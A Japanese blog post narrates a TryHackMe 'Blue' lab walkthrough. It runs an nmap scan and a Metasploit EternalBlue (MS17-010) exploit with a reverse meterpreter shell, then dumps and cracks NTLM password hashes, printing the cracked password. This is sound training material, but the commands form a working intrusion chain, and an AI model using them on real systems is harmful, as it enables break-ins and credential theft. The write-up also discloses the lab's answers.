TryHackMe をやってみた
はじめに
最近、Hack The Box やら TryHackMe が流行っていたり、OSCP を取りましたという報告を Twitter で見かけたりして、ペネトレーションテスト界隈が熱いと感じております。そんな中で、セキュリティに興味があると言っておきながら、どれもやっていないのはいかんと思い、TryHackMe を始めてみました。
TryHackMe とは?
サイバーセキュリティトレーニングのためのプラットフォームです。運営が用意したやられ環境に対して攻撃をしていく過程で、サイバーセキュリティのあれこれを学ぼうという感じです。
似たようなサービスとして Hack The Box がありますが、Hack The Box は「やられ環境はこれ。あとはよろしく!」というように、基本的に道筋もヒントも示してくれません。これに比べて、TryHackMe はステップごとにヒントが示されていたり、より初心者にやさしい構成になっています。自分のようなずぶの素人には TryHackMe の方が合ってるだろうと思い、TryHackMe をやった次第です。
準備
- Kali Linux のようなペネトレーションテスト用の Linux ディストリビューションがインストールされた環境を用意しておくといいです。使いたいツールが大体あらかじめ用意されています
- TryHackMe のアカウントを作る
- Access ページ (https://tryhackme.com/access) に行き、OpenVPN アクセスファイルをダウンロードする(
<UserName>.ovpn
というファイル名でダウンロードされる) sudo openvpn <UserName>.ovpn
を実行して、TryHackMe のネットワークに接続する(2020-12-06 16:03:01 Initialization Sequence Completed
のようなメッセージが表示されたら接続成功です)- TryHackMe のナビゲーションバーから [Learn] > [All Rooms] に行き、Show フィルターで Free Only を選択すれば、無料のやられ環境が表示されます。あとは気になるものを試すだけです。
Blue
今回は試しに Blue という無料の room をやっていきます。名前から分かる通り、EternalBlue Exploit を使って Windows の SMB の脆弱性を攻撃し、実行環境を奪取するという内容になっています。
このルームは 5 つのタスクで構成されています。
- Recon: 調査
- Gain Access: 実行環境(シェル)の奪取
- Escalate: 権限昇格
- Cracking: パスワードクラック
- Find flags!: フラグファイルの探索
1. Recon
なにはともあれ、情報収集です。Task 1 にある Deploy ボタンを押して、環境を立ち上げましょう。
環境が立ち上がったら、nmap を使ってポートをスキャンします。
$ nmap -sV -vv --script vuln 10.10.214.160 . . . Host script results: |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx . . .
SMB の脆弱性(ms17-010)が検知されましたね。
2. Get Access
続いて、Metasploit を使って Windows 環境に対して攻撃していきます。ここで、パスワードクラックの前準備として、Metasploit 用の DB を作っておきます。後の 3. Cracking で必要になります。
$ sudo msfdb init
では、Metasploit を立ち上げていきます。
$ msfconsole +-------------------------------------------------------+ | METASPLOIT by Rapid7 | +---------------------------+---------------------------+ | __________________ | | | ==c(______(o(______(_() | |""""""""""""|======[*** | | )=\ | | EXPLOIT \ | | // \\ | |_____________\_______ | | // \\ | |==[msf >]============\ | | // \\ | |______________________\ | | // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ | | // \\ | ********************* | +---------------------------+---------------------------+ | o O o | \'\/\/\/'/ | | o O | )======( | | o | .' LOOT '. | | |^^^^^^^^^^^^^^|l___ | / _||__ \ | | | PAYLOAD |""\___, | / (_||_ \ | | |________________|__|)__| | | __||_) | | | |(@)(@)"""**|(@)(@)**|(@) | " || " | | = = = = = = = = = = = = | '--------------' | +---------------------------+---------------------------+ =[ metasploit v6.0.18-dev ] + -- --=[ 2081 exploits - 1124 auxiliary - 352 post ] + -- --=[ 592 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] Metasploit tip: Adapter names can be used for IP params set LHOST eth0 msf6 > db_status [*] Connected to msf. Connection type: postgresql.
EternalBlue Exploit を検索し、use します。
msf6 > search eternalblue Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce msf6 > use 2 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 > show options [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.24 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs
このモジュールでは RHOSTS に攻撃対象の IP アドレス、LHOST に自身の IP アドレスをセットする必要があります。自身の IP アドレスは tun0
ネットワークインターフェースに割り当てられている IP アドレスになるので、ifconfig
コマンドを使うなりして見つけて下さい。
必要なオプションをセットして run を実行し、攻撃してみましょう。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.214.160 RHOSTS => 10.10.214.160 msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST xx.xx.xx.xx LHOST => xx.xx.xx.xx msf6 exploit(windows/smb/ms17_010_eternalblue) > run . . . [*] Meterpreter session 1 opened (xx.xx.xx.xx:4444 -> 10.10.214.160:49182) at 2020-12-06 17:17:56 +0900 [+] 10.10.214.160:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.214.160:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= . . . meterpreter >
WIN と表示できれば成功です。meterpreter 上で色々遊んでみましょう。
meterpreter > sysinfo Computer : JON-PC OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 0 Meterpreter : x64/windows meterpreter > shell Process 1132 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system C:\Windows\system32>^Z Background channel 1? [y/N] y
3. Escalate
実は、先ほどの攻撃ですでに権限昇格しています。なので、ここでやることは特にないです。
4. Cracking
システム内のユーザーのパスワードをクラックしていきます。辞書攻撃を行うので、まずはパスワードのリストを用意しましょう。今回は Kali Linux であらかじめ用意されている rockyou.txt を使います。
$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz $ ls /usr/share/wordlists/ dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt wfuzz
あとは引き続き Metasploit 上で作業です。まずは meterpreter 上で Ctrl+Z を入力して、セッションをバックグラウンドに回します。
meterpreter > Background session 1? [y/N]
次に、hashdump module を使って、パスワードハッシュ抽出して DB に格納します。
msf6 exploit(windows/smb/ms17_010_eternalblue) > use use post/windows/gather/hashdump Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/windows/gather/hashdump normal No Windows Gather Local User Account Password Hashes (Registry) Interact with a module by name or index. For example info 0, use 0 or use post/windows/gather/hashdump [*] Using post/windows/gather/hashdump msf6 post(windows/gather/hashdump) > show options Module options (post/windows/gather/hashdump): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. msf6 post(windows/gather/hashdump) > set SESSION 1 SESSION => 1 msf6 post(windows/gather/hashdump) > show options Module options (post/windows/gather/hashdump): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on. msf6 post(windows/gather/hashdump) > run [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 55bd17830e678f18a3110daf2c17d4c7... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... Jon:"Nah boi, I ain't sharing nutting with you" [*] Dumping password hashes... Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d::: [*] Post module execution completed msf6 post(windows/gather/hashdump) > creds Credentials =========== host origin service public private realm private_type JtR Format ---- ------ ------- ------ ------- ----- ------------ ---------- 10.10.212.113 10.10.212.113 445/tcp (smb) administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm 10.10.212.113 10.10.212.113 445/tcp (smb) guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm 10.10.212.113 10.10.212.113 445/tcp (smb) jon aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d NTLM hash nt,lm
最後に crack_windows module に切り替えて DB に格納したパスワードハッシュを解析します。
msf6 post(windows/gather/hashdump) > use auxiliary/analyze/crack_windows msf6 auxiliary(analyze/crack_windows) > set LANMAN false LANMAN => false msf6 auxiliary(analyze/crack_windows) > set MSCASH false MSCASH => false msf6 auxiliary(analyze/crack_windows) > set ACTION hashcat ACTION => hashcat msf6 auxiliary(analyze/crack_windows) > set CUSTOM_WORDLIST /usr/share/wordlists/rockyou.txt CUSTOM_WORDLIST => /usr/share/wordlists/rockyou.txt msf6 auxiliary(analyze/crack_windows) > run [+] hashcat Version Detected: v6.1.1 [*] Hashes Written out to /tmp/hashes_tmp20201206-7562-1lgix4r [*] Wordlist file written out to /tmp/jtrtmp20201206-7562-18iv616 [*] Checking nt hashes already cracked... [*] Cracking nt hashes in incremental mode... [*] Cracking Command: /usr/bin/hashcat --session=M3L0hToB --logfile-disable --potfile-path=/home/kali/.msf4/john.pot --hash-type=1000 -O --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20201206-7562-1lgix4r [*] Cracking nt hashes in wordlist mode... [*] Cracking Command: /usr/bin/hashcat --session=M3L0hToB --logfile-disable --potfile-path=/home/kali/.msf4/john.pot --hash-type=1000 -O --attack-mode=0 /tmp/hashes_tmp20201206-7562-1lgix4r /tmp/jtrtmp20201206-7562-18iv616 [+] Cracked Hashes ============== DB ID Hash Type Username Cracked Password Method ----- --------- -------- ---------------- ------ 3 nt jon alqfna22 Wordlist [*] Auxiliary module execution completed
解析できましたね。jon というユーザーのパスワードが alqfna22 ということがわかりました。
5. Find flags!
meterpreter > search -f flag*.txt
を実行すればほぼ終わったようなものなので、詳細は省きます。
おわりに
大体の手順は分かったので後は精進します。
参考文献
http://www.byakuya-shobo.co.jp/hj/moh2/pdf/moh2_p146_p149.pdf